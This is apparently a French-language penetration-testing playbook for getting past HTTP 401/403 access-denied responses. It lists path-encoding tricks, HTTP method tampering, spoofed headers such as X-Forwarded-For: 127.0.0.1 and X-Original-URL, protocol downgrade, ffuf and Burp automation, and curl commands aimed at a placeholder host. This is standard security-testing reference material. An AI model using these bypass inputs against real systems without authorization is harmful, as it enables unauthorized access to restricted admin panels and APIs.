Que fait 401-403-bypass-techniques ?
Manuel de contournement 401/403. À utiliser lorsque vous rencontrez des réponses d'accès refusé sur des panneaux d'administration, des points de terminaison API ou des chemins restreints. Couvre la manipulation de chemins, la falsification de méthodes HTTP, l'injection d'en-têtes, la rétrogradation de protocole et les outils de contournement automatisés.
Techniques de contournement
1. Manipulation de chemins
- Encodage URL :
%2e%2e%2fpour../,%23pour# - Doublons de slash :
//admin,///admin - Séquences de points :
..;/,..// - Paramètres de requête :
?,#,;pour tronquer le chemin
2. Falsification de méthodes HTTP
GET→POST,PUT,DELETE,PATCHOPTIONSpour découvrir les méthodes autorisées- Utiliser
X-HTTP-Method-Override
3. Injection d'en-têtes
X-Forwarded-For: 127.0.0.1X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Client-IP: 127.0.0.1X-Original-URL: /adminX-Rewrite-URL: /admin
4. Rétrogradation de protocole
- Utiliser HTTP/1.0 au lieu de HTTP/1.1
- Exemple :
curl --http1.0
5. Outils automatisés
ffufavec listes de chemins :ffuf -w /path/to/wordlist -u http://target.com/FUZZ -fc 401,403Burp Suiteavec Intruder pour tester les en-têtesyakavec scripts Yaklang pour automatiser les tests
Exemples de commandes
# Manipulation de chemins
curl -v http://target.com/admin/
curl -v http://target.com/./admin/
curl -v http://target.com//admin/
curl -v "http://target.com/%2e%2e/admin/"
# Injection d'en-têtes
curl -v -H "X-Forwarded-For: 127.0.0.1" http://target.com/admin
curl -v -H "X-Original-URL: /admin" http://target.com/
# Rétrogradation de protocole
curl --http1.0 -v http://target.com/admin
Références
- OWASP Testing Guide
- HackTricks - 403 Bypass
- Documentation Yaklang : Yaklang Bypass